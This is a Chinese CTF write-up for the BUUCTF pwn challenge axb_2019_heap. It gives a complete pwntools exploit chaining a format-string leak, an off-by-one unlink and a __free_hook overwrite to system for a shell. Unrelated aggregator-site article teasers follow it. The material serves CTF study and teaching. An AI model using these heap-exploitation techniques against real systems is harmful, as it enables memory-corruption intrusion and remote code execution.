[BUUCTF]-PWN:axb_2019_heap解析(格式化字符串漏洞,unlink,off by one)

查看保护

查看ida

大致就是alloc创建堆块,free释放堆块,以及fill填充堆块

解释get input函数:

这里解释一下get input函数

这个函数是人工编写的,其中*v4==10那里是把接受到的换行符变为\x00,并且结束输入。

v3++那里,v3是统计输入的个数,并且在v3大于或等于我们申请的堆块大小+1时停止输入。

但还是有一个要注意的点,我在创建堆块的函数那里填充堆块没有办法填充多一个字节,不知道是我的操作问题还是程序就是这样。

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./heap')
p=remote('node5.buuoj.cn',26755)
key=0x202040
note=0x202060

def alloc(index,size,content):
    p.sendlineafter(b'>>',str(1))
    p.sendlineafter(b'Enter the index you want to create (0-10):',str(index))
    p.sendlineafter(b'Enter a size:',str(size))
    p.sendlineafter(b'Enter the content:',content)
def free(index):
    p.sendlineafter(b'>>',str(2))
    p.sendlineafter(b'Enter an index:',str(index))
def fill(index,content):
    p.sendlineafter(b'>>',str(4))
    p.sendlineafter(b'Enter an index:',str(index))
    p.sendlineafter(b'Enter the content:',content)

p.sendlineafter(b'Enter your name:',b'%11$p%15$p') #泄露程序地址和libc地址
p.recvuntil(b'Hello, ')
main28=int(p.recv(14),16)
main=main28-28 #有这个地址才能找到note的地址
base=main-0x116a
note=base+0x202060 #基地址加偏移
libc_start_main240=int(p.recv(14),16)
libc_start_main=libc_start_main240-240
libc=LibcSearcher('__libc_start_main',libc_start_main)
libcbase=libc_start_main-libc.dump('__libc_start_main')
print(hex(libcbase))
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
freehook=libcbase+libc.dump('__free_hook')
alloc(0,0x88,p64(0))
alloc(1,0x88,p64(0))
alloc(2,0x88,b'/bin/sh\x00')
payload=p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0x80)+p8(0x90)
fill(0,payload)
free(1)
payload=p64(0)*3+p64(freehook)+p64(0x8) #覆盖chunk0为freehook
fill(0,payload)
payload=p64(system)
fill(0,payload)
free(2)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/396701.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

中科大计网学习记录笔记(十三):UDP 套接字编程 | 传输层概述和传输层的服务

前言: 学习视频:中科大郑烇、杨坚全套《计算机网络(自顶向下方法 第7版,James F.Kurose,Keith W.Ross)》课程 该视频是B站非常著名的计网学习视频,但相信很多朋友和我一样在听完前面的部分发现信…

知识产权-

知识产权 《中华人民共和国著作权法》 《中华人民共和国著作权法》是为了保护文学、艺术和科学作品作者的著作权及与著作权有关的权益。《中华人民共和国著作权法》中涉及到的作品的概念是文学、艺术和自然科学、社会科学、工程技术等作品,具体来说,这些作品包括以下九类: …

不买服务器也可以将本地服务放到互联网(ngrok内网穿透)

欢迎来到我的博客,代码的世界里,每一行都是一个故事 不买服务器也可以将本地服务放到互联网 前言ngrok基础:穿越网络边界的魔法使用场景:突破网络限制的利器实战 前言 在网络的世界里,有时候你的服务像是困在一座数字…

前端工程化之:webpack4-1(babel的安装和使用)

一、安装 官网:https://babeljs.io/ 民间中文网:https://www.babeljs.cn/ 1.babel简介 babel一词来自于希伯来语,直译为巴别塔。 巴别塔象征的统一的国度、统一的语言 而今天的 JS 世界缺少一座巴别塔,不同版本的浏览器能识别…

为什么要使用纯净住宅代理?

随着互联网的快速发展,代理服务器已经成为许多在线活动的关键组成部分,从数据挖掘到网络安全。然而,随着技术的不断发展,住宅IP代理正崭露头角,因其在保障隐私、提升性能和应对封锁方面的卓越优势而备受瞩目。本文将深…

聚观早报 | 比亚迪秦PLUS荣耀版上市;任天堂成日本最富有公司

聚观早报每日整理最值得关注的行业重点事件,帮助大家及时了解最新行业动态,每日读报,就读聚观365资讯简报。 整理丨Cutie 2月20日消息 比亚迪秦PLUS荣耀版上市 任天堂成日本最富有公司 理想汽车2024春季发布会 真我12 Pro系列国内官宣 …

读《能力陷阱》的一些随想

一、引言 这本书是由埃米尼亚.伊贝拉所写,作者是哈佛大学商学院和欧洲工商管理学院组织行为学教授。《能力陷阱》是一本由埃米尼亚伊贝拉所著的畅销书籍,它为我们揭示了如何摆脱自我限制,并释放出潜在的无限能力。在阅读这本书的过程中&#…

计算机视觉的应用23-OpenAI发布的文本生成视频大模型Sora的原理解密

大家好,我是微学AI,今天给大家介绍一下计算机视觉的应用23-OpenAI发布的文本生成视频大模型Sora的原理解密。本文概况性地将Sora模型生成视频主要分为三个步骤:视频压缩网络、空间时间潜在补丁提取以及视频生成的Transformer模型。 文章目录…

使用倒模耳机壳UV村脂胶液制作HIFI耳机隔音降噪耳机壳推荐的材料和工艺流程?

对于使用倒模耳机壳UV树脂胶液制作HIFI耳机隔音降噪耳机壳,以下是一些推荐的材料和工艺流程: 材料: UV树脂胶液:选择适合倒模工艺的UV树脂胶液,要求具有高透明度、良好的流动性和固化性能。模具材料:根据…

Docker命令实战

文章目录 一、Docker常用命令-图谱二、基础实战命令2.1、查找镜像2.2、启动容器2.3、修改容器内容2.3.1、进入容器内部修改2.3.2、挂载数据到外部修改 2.4、提交改变2.5、镜像传输--将镜像保存成压缩包2.6、两台主机间压缩文件的传输拷贝2.7、推送阿里云个人远程镜像仓库2.8、其…

漫漫数学之旅027

文章目录 经典格言数学习题古今评注名人小传 - 约翰弥尔顿 经典格言 机会统治一切。——约翰弥尔顿(John Milton) 约翰弥尔顿,这位伟大的英国诗人曾掷地有声地说出:“机会统治一切。”这句话如果放在一场宇宙级的脱口秀中&#x…

(三十六)大数据实战——ClickHouse数据库的部署安装实现

前言 ClickHouse是俄罗斯的Yandex于2016年开源的列式存储数据库 DBMS ),使用C语言编写,主要用于在线分析处理查询( OLAP ),能够使用SQL查询实时生成分析数据报告。列式存储:数据按列进行存储&a…

wordpress企业网站模板免费

绿色风格的wordpress免费模板,经测试可以免费下载的WP模板。 https://www.wpniu.com/themes/300.html 简洁大气的文化艺术类wordpress模板,可以免费下载,实用易上手,新手也适合。 https://www.wpniu.com/themes/304.html 高端大…

微信小程序-绑定数据并在后台获取它

如图 遍历列表的过程中需要绑定数据&#xff0c;点击时候需要绑定数据 这里是源代码 <block wx:for"{{productList}}" wx:key"productId"><view class"product-item" bindtap"handleProductClick" data-product-id"{{i…

maven异常记录-must be unique

maven 打包异常记录 我们可以看看一个重要的异常&#xff1a; dependencies.dependency.(groupId:artifactId:type:classifier) must be unique: org.springframework.boot:spring-boot-starter-test 经过检查pom文件 果然是spring-boot-starter-test引用重复&#xff0c;平…

Elasticsearch:什么是搜索引擎?

搜索引擎定义 搜索引擎是一种软件程序或系统&#xff0c;旨在帮助用户查找存储在互联网或特定数据库中的信息。 搜索引擎的工作原理是对各种来源的内容进行索引和编目&#xff0c;然后根据用户的搜索查询向用户提供相关结果列表。 搜索引擎对于希望快速有效地查找特定信息的用…

SpringMVC 的参数绑定之list集合、Map

标签中name属性的值就是pojo类的属性名 参数绑定4 list [对象] <form action"teaupd.do" method"post"> <c:forEach items"${list}" var"tea" varStatus "status"> 教师编号&#xff1a;<input…

基础antdesign的业务型 短时间控件封装(复制即可使用)

{/* startFieldName 开始时间标识 endFieldName 结束时间标识 label 同form lable rules 是否开启规则校验 默认开启 detailData 详情数据&#xff0c;用于编辑回显 dateRange 限制结束时间的范围 例如&#xff1a;开始时间选择了 2024-02-05 &#xff0c;加上 dateRange3 后 只…

【MATLAB】BiGRU神经网络回归预测算法

有意向获取代码&#xff0c;请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 BiGRU神经网络回归预测算法是一种基于双向门控循环单元&#xff08;GRU&#xff09;的多变量时间序列预测方法。该方法结合了双向模型和门控机制&#xff0c;旨在有效地捕捉时间序列数据中…
最新文章